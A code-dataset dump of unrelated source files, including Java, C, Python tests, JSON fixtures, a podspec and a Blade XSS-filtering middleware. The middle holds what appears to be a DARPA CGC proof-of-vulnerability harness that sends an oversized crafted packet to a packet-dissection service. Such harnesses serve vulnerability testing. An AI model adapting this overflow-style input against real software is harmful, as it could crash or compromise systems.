private static final double FLAT_RATE_SHIPPING = 2.00;
private static final String MIN_BOX_SIZE = "medium";
public StandardSizedBook(String title, double price) {
super(title, price);
}
// EFFECTS: Returns the shipping cost for this book, which is a base rate times a multiplier based on the book price.
@Override
public double calculateShipping() {
return FLAT_RATE_SHIPPING;
}
@Override
// EFFECTS: returns the minimum required size of box for packaging this book
public String getMinBoxSize() {
System.out.println("A standard size book can fit in a medium or large box.");
return MIN_BOX_SIZE;
}
@Override
// REQUIRES: model.Box must be medium or large
// MODIFIES: this
// EFFECTS: If the book fits in the given box, then the two are associated (the book is packaged).
public Box packageBook(Box b) {
if (b.getSize().equals("medium")) {
System.out.println("The book fits snugly into this box.");
} else {
System.out.println("This box is a little big for the book, but it fits.");
}
this.setBox(b);
b.setContents(this);
return b;
}
}
| 539 |
791 | <reponame>manuel-trejo-rico/goformation<gh_stars>100-1000
{
"AWSTemplateFormatVersion" : "2010-09-09",
"Description" : "Template has a Serverless resource, but wrong transform",
"Transform" : "HelloWorld",
"Resources" : {
"MyServerlessFunctionLogicalID": {
"Type": "AWS::Serverless::Function",
"Properties": {
"Handler": "index.handler",
"CodeUri": "s3://testBucket/mySourceCode.zip",
"Runtime": "nodejs10.x"
}
}
}
}
| 200 |
1,374 | <filename>core-lib/es6/src/main/java/def/js/TemplateStringsArray.java
package def.js;
@jsweet.lang.Interface
public abstract class TemplateStringsArray extends Array<java.lang.String> {
public java.lang.String[] raw;
}
| 74 |
348 | {"nom":"Feyzin","circ":"14ème circonscription","dpt":"Rhône","inscrits":6225,"abs":3941,"votants":2284,"blancs":169,"nuls":77,"exp":2038,"res":[{"nuance":"REM","nom":"<NAME>","voix":1260},{"nuance":"FN","nom":"<NAME>","voix":778}]} | 94 |
353 | <reponame>AdarshSai/Final_project
from io import BytesIO
import pytest
import logging
from matplotlib import afm
from matplotlib import font_manager as fm
# See note in afm.py re: use of comma as decimal separator in the
# UnderlineThickness field and re: use of non-ASCII characters in the Notice
# field.
AFM_TEST_DATA = b"""StartFontMetrics 2.0
Comment Comments are ignored.
Comment Creation Date:Mon Nov 13 12:34:11 GMT 2017
FontName MyFont-Bold
EncodingScheme FontSpecific
FullName My Font Bold
FamilyName Test Fonts
Weight Bold
ItalicAngle 0.0
IsFixedPitch false
UnderlinePosition -100
UnderlineThickness 56,789
Version 001.000
Notice Copyright \xa9 2017 No one.
FontBBox 0 -321 1234 369
StartCharMetrics 3
C 0 ; WX 250 ; N space ; B 0 0 0 0 ;
C 42 ; WX 1141 ; N foo ; B 40 60 800 360 ;
C 99 ; WX 583 ; N bar ; B 40 -10 543 210 ;
EndCharMetrics
EndFontMetrics
"""
def test_nonascii_str():
# This tests that we also decode bytes as utf-8 properly.
# Else, font files with non ascii characters fail to load.
inp_str = "привет"
byte_str = inp_str.encode("utf8")
ret = afm._to_str(byte_str)
assert ret == inp_str
def test_parse_header():
fh = BytesIO(AFM_TEST_DATA)
header = afm._parse_header(fh)
assert header == {
b'StartFontMetrics': 2.0,
b'FontName': 'MyFont-Bold',
b'EncodingScheme': 'FontSpecific',
b'FullName': 'My Font Bold',
b'FamilyName': 'Test Fonts',
b'Weight': 'Bold',
b'ItalicAngle': 0.0,
b'IsFixedPitch': False,
b'UnderlinePosition': -100,
b'UnderlineThickness': 56.789,
b'Version': '001.000',
b'Notice': b'Copyright \xa9 2017 No one.',
b'FontBBox': [0, -321, 1234, 369],
b'StartCharMetrics': 3,
}
def test_parse_char_metrics():
fh = BytesIO(AFM_TEST_DATA)
afm._parse_header(fh) # position
metrics = afm._parse_char_metrics(fh)
assert metrics == (
{0: (250.0, 'space', [0, 0, 0, 0]),
42: (1141.0, 'foo', [40, 60, 800, 360]),
99: (583.0, 'bar', [40, -10, 543, 210]),
},
{'space': (250.0, 'space', [0, 0, 0, 0]),
'foo': (1141.0, 'foo', [40, 60, 800, 360]),
'bar': (583.0, 'bar', [40, -10, 543, 210]),
})
def test_get_familyname_guessed():
fh = BytesIO(AFM_TEST_DATA)
font = afm.AFM(fh)
del font._header[b'FamilyName'] # remove FamilyName, so we have to guess
assert font.get_familyname() == 'My Font'
def test_font_manager_weight_normalization():
font = afm.AFM(BytesIO(
AFM_TEST_DATA.replace(b"Weight Bold\n", b"Weight Custom\n")))
assert fm.afmFontProperty("", font).weight == "normal"
@pytest.mark.parametrize(
"afm_data",
[
b"""nope
really nope""",
b"""StartFontMetrics 2.0
Comment Comments are ignored.
Comment Creation Date:Mon Nov 13 12:34:11 GMT 2017
FontName MyFont-Bold
EncodingScheme FontSpecific""",
],
)
def test_bad_afm(afm_data):
fh = BytesIO(afm_data)
with pytest.raises(RuntimeError):
header = afm._parse_header(fh)
@pytest.mark.parametrize(
"afm_data",
[
b"""StartFontMetrics 2.0
Comment Comments are ignored.
Comment Creation Date:Mon Nov 13 12:34:11 GMT 2017
<NAME>
FontName MyFont-Bold
EncodingScheme FontSpecific
StartCharMetrics 3""",
b"""StartFontMetrics 2.0
Comment Comments are ignored.
Comment Creation Date:Mon Nov 13 12:34:11 GMT 2017
ItalicAngle zero degrees
FontName MyFont-Bold
EncodingScheme FontSpecific
StartCharMetrics 3""",
],
)
def test_malformed_header(afm_data, caplog):
fh = BytesIO(afm_data)
with caplog.at_level(logging.ERROR):
header = afm._parse_header(fh)
assert len(caplog.records) == 1
| 1,751 |
2,517 | // This file is part of CAF, the C++ Actor Framework. See the file LICENSE in
// the main distribution directory for license terms and copyright or visit
// https://github.com/actor-framework/actor-framework/blob/master/LICENSE.
#pragma once
#include <cstdint>
#include "caf/actor_system.hpp"
#include "caf/io/middleman.hpp"
namespace caf::io {
/// Closes port `port` regardless of whether an actor is published to it.
inline expected<void> close(actor_system& sys, uint16_t port) {
return sys.middleman().close(port);
}
} // namespace caf::io
| 177 |
1,350 | <reponame>billwert/azure-sdk-for-java
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.resourcemanager.mediaservices.models;
import com.azure.core.util.ExpandableStringEnum;
import com.fasterxml.jackson.annotation.JsonCreator;
import java.util.Collection;
/** Defines values for StorageAuthentication. */
public final class StorageAuthentication extends ExpandableStringEnum<StorageAuthentication> {
/** Static value System for StorageAuthentication. */
public static final StorageAuthentication SYSTEM = fromString("System");
/** Static value ManagedIdentity for StorageAuthentication. */
public static final StorageAuthentication MANAGED_IDENTITY = fromString("ManagedIdentity");
/**
* Creates or finds a StorageAuthentication from its string representation.
*
* @param name a name to look for.
* @return the corresponding StorageAuthentication.
*/
@JsonCreator
public static StorageAuthentication fromString(String name) {
return fromString(name, StorageAuthentication.class);
}
/** @return known StorageAuthentication values. */
public static Collection<StorageAuthentication> values() {
return values(StorageAuthentication.class);
}
}
| 390 |
1,144 | <filename>u-boot-2019.01+gitAUTOINC+333c3e72d3-g333c3e72d3/include/power/as3722.h
/* SPDX-License-Identifier: GPL-2.0+ */
/*
* Copyright (C) 2014 NVIDIA Corporation
*/
#ifndef __POWER_AS3722_H__
#define __POWER_AS3722_H__
#define AS3722_GPIO_OUTPUT_VDDH (1 << 0)
#define AS3722_GPIO_INVERT (1 << 1)
#define AS3722_DEVICE_ID 0x0c
#define AS3722_SD_VOLTAGE(n) (0x00 + (n))
#define AS3722_LDO_VOLTAGE(n) (0x10 + (n))
#define AS3722_SD_CONTROL 0x4d
#define AS3722_LDO_CONTROL0 0x4e
#define AS3722_LDO_CONTROL1 0x4f
#define AS3722_ASIC_ID1 0x90
#define AS3722_ASIC_ID2 0x91
#define AS3722_GPIO_CONTROL(n) (0x08 + (n))
#define AS3722_GPIO_SIGNAL_OUT 0x20
#define AS3722_GPIO_CONTROL_MODE_OUTPUT_VDDH (1 << 0)
#define AS3722_GPIO_CONTROL_MODE_OUTPUT_VDDL (7 << 0)
#define AS3722_GPIO_CONTROL_INVERT (1 << 7)
int as3722_sd_set_voltage(struct udevice *dev, unsigned int sd, u8 value);
int as3722_ldo_set_voltage(struct udevice *dev, unsigned int ldo, u8 value);
#endif /* __POWER_AS3722_H__ */
| 476 |
634 | package com.intellij.openapi.vcs.actions;
import com.intellij.openapi.actionSystem.AnActionEvent;
import com.intellij.openapi.actionSystem.ToggleAction;
import com.intellij.openapi.project.DumbAware;
import com.intellij.openapi.vcs.CommitMessageI;
import com.intellij.openapi.vcs.VcsDataKeys;
import com.intellij.openapi.vcs.ui.Refreshable;
/**
* Allows to toggle <code>'check commit message spelling errors'</code> processing.
*
* @author <NAME>
* @since 8/22/11 3:27 PM
*/
public class CheckCommitMessageSpellingAction extends ToggleAction implements DumbAware {
public CheckCommitMessageSpellingAction() {
setEnabledInModalContext(true);
}
@Override
public boolean isSelected(AnActionEvent e) {
CommitMessageI checkinPanel = getCheckinPanel(e);
return checkinPanel != null && checkinPanel.isCheckSpelling();
}
@Override
public void setSelected(AnActionEvent e, boolean state) {
CommitMessageI checkinPanel = getCheckinPanel(e);
if (checkinPanel != null) {
checkinPanel.setCheckSpelling(state);
}
}
@javax.annotation.Nullable
private static CommitMessageI getCheckinPanel(@javax.annotation.Nullable AnActionEvent e) {
if (e == null) {
return null;
}
Refreshable data = e.getData(Refreshable.PANEL_KEY);
if (data instanceof CommitMessageI) {
return (CommitMessageI)data;
}
CommitMessageI commitMessageI = e.getData(VcsDataKeys.COMMIT_MESSAGE_CONTROL);
if (commitMessageI != null) {
return commitMessageI;
}
return null;
}
}
| 555 |
5,169 | <reponame>Gantios/Specs<gh_stars>1000+
{
"name": "SwiftyGiphyKit",
"version": "0.1.2",
"summary": "Lightweight Swift kit used to present Giphy search/picker view and display/edit GIFs in a user-interactable image view powered by SwiftyGif.",
"description": "Lightweight Swift kit used to present Giphy search/picker view and display/edit GIFs in a user-interactable image view (UIImageView) powered by SwiftyGif.",
"homepage": "https://github.com/everuribe/SwiftyGiphyKit",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"Ever": "<EMAIL>"
},
"platforms": {
"ios": "12.0"
},
"swift_version": "5.1",
"source": {
"git": "https://github.com/everuribe/SwiftyGiphyKit.git",
"tag": "0.1.2"
},
"source_files": "SwiftyGiphyKit/**/*.{h,m,swift}",
"resources": "SwiftyGiphyKit/*.xcassets",
"dependencies": {
"SwiftyGif": [
]
}
}
| 368 |
452 | package pl.altkom.asc.lab.micronaut.poc.auth;
import io.micronaut.runtime.Micronaut;
public class AuthApplication {
public static void main(String[] args) {
Micronaut.run(AuthApplication.class);
}
} | 82 |
3,444 | package com.hellokaton.blade.security.xss;
import com.hellokaton.blade.kit.StringKit;
import com.hellokaton.blade.mvc.RouteContext;
import com.hellokaton.blade.mvc.hook.WebHook;
import com.hellokaton.blade.mvc.http.StringBody;
import com.hellokaton.blade.security.filter.HTMLFilter;
import lombok.NoArgsConstructor;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.stream.Collectors;
/**
* XSS Middleware
*
* @author biezhi
* @date 2018/6/11
*/
@NoArgsConstructor
public class XssMiddleware implements WebHook {
private final static HTMLFilter HTML_FILTER = new HTMLFilter();
private XssOption xssOption = XssOption.builder().build();
public XssMiddleware(XssOption xssOption) {
this.xssOption = xssOption;
}
@Override
public boolean before(RouteContext context) {
if (xssOption.isExclusion(context.uri())) {
return true;
}
this.filterHeaders(context.headers());
this.filterParameters(context.parameters());
if (context.contentType().toLowerCase().contains("json")) {
String body = context.bodyToString();
if (StringKit.isNotEmpty(body)) {
String filterBody = stripXSS(body);
context.body(new StringBody(filterBody));
}
}
return true;
}
protected void filterHeaders(Map<String, List<String>> headers) {
headers.forEach((key, values) -> {
List<String> newHeader = new ArrayList<>();
for (String value : values) {
newHeader.add(this.stripXSS(value));
}
headers.put(key, newHeader);
});
}
protected void filterParameters(Map<String, List<String>> parameters) {
Set<Map.Entry<String, List<String>>> entries = parameters.entrySet();
for (Map.Entry<String, List<String>> entry : entries) {
List<String> snzValues = entry.getValue().stream().map(this::stripXSS).collect(Collectors.toList());
parameters.put(entry.getKey(), snzValues);
}
}
/**
* Removes all the potentially malicious characters from a string
*
* @param value the raw string
* @return the sanitized string
*/
protected String stripXSS(String value) {
return HTML_FILTER.filter(value);
}
}
| 961 |
473 | #include "libpov.h"
int main(int cgc_argc, char *cgc_argv[]) {
cgc_negotiate_type1(0x0, 0x0, 0);
do {
//*** writing data
static unsigned char write_00000_00000[] =
"\x04\x04\x00\x00";
static unsigned int write_00000_00000_len = 4;
unsigned char *write_00000 = NULL;
unsigned int write_00000_len = 0;
write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
if (write_00000_len > 0) {
cgc_transmit_all(1, write_00000, write_00000_len);
}
cgc_free(write_00000);
} while (0);
do {
//*** writing data
static unsigned char write_00001_00000[] =
"\x01\x00\x00\x00\x01\x00\x00\x00\xf0\x03\x00\x00\xe8\x03\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\xcb\x6b\xc4\xc7"
"\x49\xc2\x53\x45\x54\x9f\x88\xb5\x2b\x00\x00\x00\xe1\x33\xfa\x98"
"\x44\x4f\x32\xcb\xb7\x9b\x62\x31\x1e\xa6\x42\x57\x0c\x04\x00\x04"
"\x1d\x44\xfe\x0c\x11\xe4\x78\xc1\xff\x75\xcf\x2e\xc7\x91\xa4\xe1"
"\x0e\x79\xf2\x8e\xe3\xa9\x12\x14\x4e\x4b\x20\x04\x28\xcf\xe9\x41"
"\x9f\x7d\x0e\x2e\xd2\xf9\x18\x2e\xe9\xde\xb9\x1f\xe5\x5e\x8b\x9d"
"\x64\x0c\xa8\xa6\xdd\x59\x91\x0a\xf2\x8a\xa1\xa6\x7f\xc3\xff\x3d"
"\x9c\x2a\x13\xc9\x04\x00\x8f\xce\x74\xf0\xd4\x5f\x0a\x04\xc9\x09"
"\x3a\x65\xb5\x6e\x59\x04\x89\x03\x04\x00\xd2\x31\xd1\x92\x09\x1c"
"\x91\x78\x04\x4a\xea\xb5\xe4\x55\x6b\x88\x52\x51\xf3\xb9\x6f\xf4"
"\x80\x2f\x71\xe3\xaf\x67\x2a\x4c\xd6\x0e\x3b\xf2\xab\x03\x01\xdc"
"\x9a\xca\xf6\x5e\x1d\x36\x26\x47\xee\xe2\x4a\xcc\x24\xcf\xfe\xe5"
"\x66\xfb\x11\x4b\xaf\x6c\x99\x75\xd9\x1a\x19\xf2\xc5\x7c\xe8\xca"
"\xad\x04\x65\xb1\x46\x5e\x2c\x98\x0b\xac\x04\xbb\xbb\xc7\x1f\x14"
"\x77\xc5\x04\xb6\x6e\x14\x25\x3b\xb5\x1b\x7c\x34\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20";
static unsigned int write_00001_00000_len = 1028;
unsigned char *write_00001 = NULL;
unsigned int write_00001_len = 0;
write_00001 = cgc_append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
if (write_00001_len > 0) {
cgc_transmit_all(1, write_00001, write_00001_len);
}
cgc_free(write_00001);
} while (0);
do {
unsigned char *read_00000;
unsigned int read_00000_len;
unsigned int read_00000_ptr = 0;
//**** delimited read
static unsigned char read_00000_delim[] =
"\x0a";
read_00000 = NULL;
read_00000_len = 0;
int read_00000_res = cgc_delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1);
if (read_00000_res) {} //silence unused variable warning
//**** read match data
static unsigned char match_00000_00000[] =
"\x53\x74\x61\x72\x74\x69\x6e\x67\x20\x64\x69\x73\x73\x65\x63\x74"
"\x69\x6f\x6e\x2e\x2e\x2e";
read_00000_ptr += cgc_data_match(read_00000 + read_00000_ptr, read_00000_len - read_00000_ptr, match_00000_00000, 22);
cgc_free(read_00000);
if (read_00000_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00001;
unsigned int read_00001_len;
unsigned int read_00001_ptr = 0;
//**** delimited read
static unsigned char read_00001_delim[] =
"\x3d\x3d\x3d\x3d\x0a";
read_00001 = NULL;
read_00001_len = 0;
int read_00001_res = cgc_delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 5);
if (read_00001_res) {} //silence unused variable warning
/* read match pcre:
.*New Packet
*/
static char read_00001_00000_regex[] =
"\x2e\x2a\x4e\x65\x77\x20\x50\x61\x63\x6b\x65\x74";
static match_result read_00001_00000_match;
pcre *read_00001_00000_pcre = cgc_init_regex(read_00001_00000_regex);
if (read_00001_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00001_00000_pcre, 0, read_00001 + read_00001_ptr, read_00001_len - read_00001_ptr, &read_00001_00000_match);
if (rc > 0) {
read_00001_ptr += read_00001_00000_match.match_end - read_00001_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00001_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00001);
if (read_00001_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00002;
unsigned int read_00002_len;
unsigned int read_00002_ptr = 0;
//**** delimited read
static unsigned char read_00002_delim[] =
"\x3d\x3d\x3d\x0a";
read_00002 = NULL;
read_00002_len = 0;
int read_00002_res = cgc_delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 4);
if (read_00002_res) {} //silence unused variable warning
/* read match pcre:
.*===lol
*/
static char read_00002_00000_regex[] =
"\x2e\x2a\x3d\x3d\x3d\x6c\x6f\x6c";
static match_result read_00002_00000_match;
pcre *read_00002_00000_pcre = cgc_init_regex(read_00002_00000_regex);
if (read_00002_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00002_00000_pcre, 0, read_00002 + read_00002_ptr, read_00002_len - read_00002_ptr, &read_00002_00000_match);
if (rc > 0) {
read_00002_ptr += read_00002_00000_match.match_end - read_00002_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00002_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00002);
if (read_00002_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00003;
unsigned int read_00003_len;
unsigned int read_00003_ptr = 0;
//**** delimited read
static unsigned char read_00003_delim[] =
"\x3d\x3d\x3d\x0a";
read_00003 = NULL;
read_00003_len = 0;
int read_00003_res = cgc_delimited_read(0, &read_00003, &read_00003_len, read_00003_delim, 4);
if (read_00003_res) {} //silence unused variable warning
/* read match pcre:
.*===Lachnosternaadenodermia
*/
static char read_00003_00000_regex[] =
"\x2e\x2a\x3d\x3d\x3d\x4c\x61\x63\x68\x6e\x6f\x73\x74\x65\x72\x6e"
"\x61\x61\x64\x65\x6e\x6f\x64\x65\x72\x6d\x69\x61";
static match_result read_00003_00000_match;
pcre *read_00003_00000_pcre = cgc_init_regex(read_00003_00000_regex);
if (read_00003_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00003_00000_pcre, 0, read_00003 + read_00003_ptr, read_00003_len - read_00003_ptr, &read_00003_00000_match);
if (rc > 0) {
read_00003_ptr += read_00003_00000_match.match_end - read_00003_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00003_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00003);
if (read_00003_ptr) {} //silence unused variable warning if any
} while (0);
do {
unsigned char *read_00004;
unsigned int read_00004_len;
unsigned int read_00004_ptr = 0;
//**** delimited read
static unsigned char read_00004_delim[] =
"\x3d\x3d\x3d\x0a";
read_00004 = NULL;
read_00004_len = 0;
int read_00004_res = cgc_delimited_read(0, &read_00004, &read_00004_len, read_00004_delim, 4);
if (read_00004_res) {} //silence unused variable warning
/* read match pcre:
.*Dissection finished
*/
static char read_00004_00000_regex[] =
"\x2e\x2a\x44\x69\x73\x73\x65\x63\x74\x69\x6f\x6e\x20\x66\x69\x6e"
"\x69\x73\x68\x65\x64";
static match_result read_00004_00000_match;
pcre *read_00004_00000_pcre = cgc_init_regex(read_00004_00000_regex);
if (read_00004_00000_pcre != NULL) {
int rc = cgc_regex_match(read_00004_00000_pcre, 0, read_00004 + read_00004_ptr, read_00004_len - read_00004_ptr, &read_00004_00000_match);
if (rc > 0) {
read_00004_ptr += read_00004_00000_match.match_end - read_00004_00000_match.match_start;
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed match, just keep sending stuff.
}
pcre_free(read_00004_00000_pcre);
}
else {
//this is a pov so what does this even mean?
//why would we quit on failed regex compile, just keep sending stuff.
}
cgc_free(read_00004);
if (read_00004_ptr) {} //silence unused variable warning if any
} while (0);
}
| 7,686 |
5,964 | /*
* Copyright 2014 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "GrInvariantOutput.h"
#ifdef SK_DEBUG
void GrInvariantOutput::validate() const {
if (fIsSingleComponent) {
SkASSERT(0 == fValidFlags || kRGBA_GrColorComponentFlags == fValidFlags);
if (kRGBA_GrColorComponentFlags == fValidFlags) {
SkASSERT(this->colorComponentsAllEqual());
}
}
SkASSERT(this->validPreMulColor());
// If we claim that we are not using the input color we must not be modulating the input.
SkASSERT(fNonMulStageFound || fWillUseInputColor);
}
bool GrInvariantOutput::colorComponentsAllEqual() const {
unsigned colorA = GrColorUnpackA(fColor);
return(GrColorUnpackR(fColor) == colorA &&
GrColorUnpackG(fColor) == colorA &&
GrColorUnpackB(fColor) == colorA);
}
bool GrInvariantOutput::validPreMulColor() const {
if (kA_GrColorComponentFlag & fValidFlags) {
float c[4];
GrColorToRGBAFloat(fColor, c);
if (kR_GrColorComponentFlag & fValidFlags) {
if (c[0] > c[3]) {
return false;
}
}
if (kG_GrColorComponentFlag & fValidFlags) {
if (c[1] > c[3]) {
return false;
}
}
if (kB_GrColorComponentFlag & fValidFlags) {
if (c[2] > c[3]) {
return false;
}
}
}
return true;
}
#endif // end DEBUG
| 703 |
5,133 | /*
* Copyright MapStruct Authors.
*
* Licensed under the Apache License version 2.0, available at http://www.apache.org/licenses/LICENSE-2.0
*/
package org.mapstruct.ap.test.inheritfromconfig;
import org.mapstruct.InheritInverseConfiguration;
import org.mapstruct.Mapper;
import org.mapstruct.Mapping;
import org.mapstruct.MappingInheritanceStrategy;
import org.mapstruct.factory.Mappers;
/**
* @author <NAME>
*/
@Mapper(
config = AutoInheritedConfig.class,
mappingInheritanceStrategy = MappingInheritanceStrategy.EXPLICIT
)
public abstract class CarMapperReverseWithExplicitInheritance {
public static final CarMapperReverseWithExplicitInheritance INSTANCE =
Mappers.getMapper( CarMapperReverseWithExplicitInheritance.class );
@InheritInverseConfiguration(name = "baseDtoToEntity")
@Mapping( target = "colour", source = "color" )
public abstract CarDto toCarDto(CarEntity entity);
}
| 310 |
852 | <reponame>Purva-Chaudhari/cmssw
#ifndef SIMCALORIMETRY_ECALTRIGPRIMALGOS_ECALFENIXAMPLITUDEFILTER_H
#define SIMCALORIMETRY_ECALTRIGPRIMALGOS_ECALFENIXAMPLITUDEFILTER_H
#include <cstdint>
#include <vector>
class EcalTPGWeightIdMap;
class EcalTPGWeightGroup;
/**
\ class EcalFenixAmplitudeFilter
\brief calculates .... for Fenix strip, barrel
* input: 18 bits
* output: 18 bits
*
*/
class EcalFenixAmplitudeFilter {
private:
int peakFlag_[5];
int inputsAlreadyIn_;
uint32_t stripid_;
int buffer_[5];
int fgvbBuffer_[5];
int weights_[5];
int shift_;
int setInput(int input, int fgvb);
void process();
bool tpInfoPrintout_;
int processedOutput_;
int processedFgvbOutput_;
public:
EcalFenixAmplitudeFilter();
EcalFenixAmplitudeFilter(bool TPinfoPrintout);
virtual ~EcalFenixAmplitudeFilter();
virtual void process(std::vector<int> &addout,
std::vector<int> &output,
std::vector<int> &fgvbIn,
std::vector<int> &fgvbOut);
void setParameters(uint32_t raw,
const EcalTPGWeightIdMap *ecaltpgWeightMap,
const EcalTPGWeightGroup *ecaltpgWeightGroup);
};
#endif
| 547 |
1,681 | /*
* Copyright 2016-2020 The OpenTracing Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package io.opentracing.testbed.promise_propagation;
import io.opentracing.References;
import io.opentracing.Scope;
import io.opentracing.Span;
import io.opentracing.mock.MockTracer;
import io.opentracing.tag.Tags;
import java.util.Collection;
import java.util.LinkedList;
/** @author tylerbenson */
public class Promise<T> {
private final PromiseContext context;
private final MockTracer tracer;
private final Span parentSpan;
private final Collection<SuccessCallback<T>> successCallbacks = new LinkedList<>();
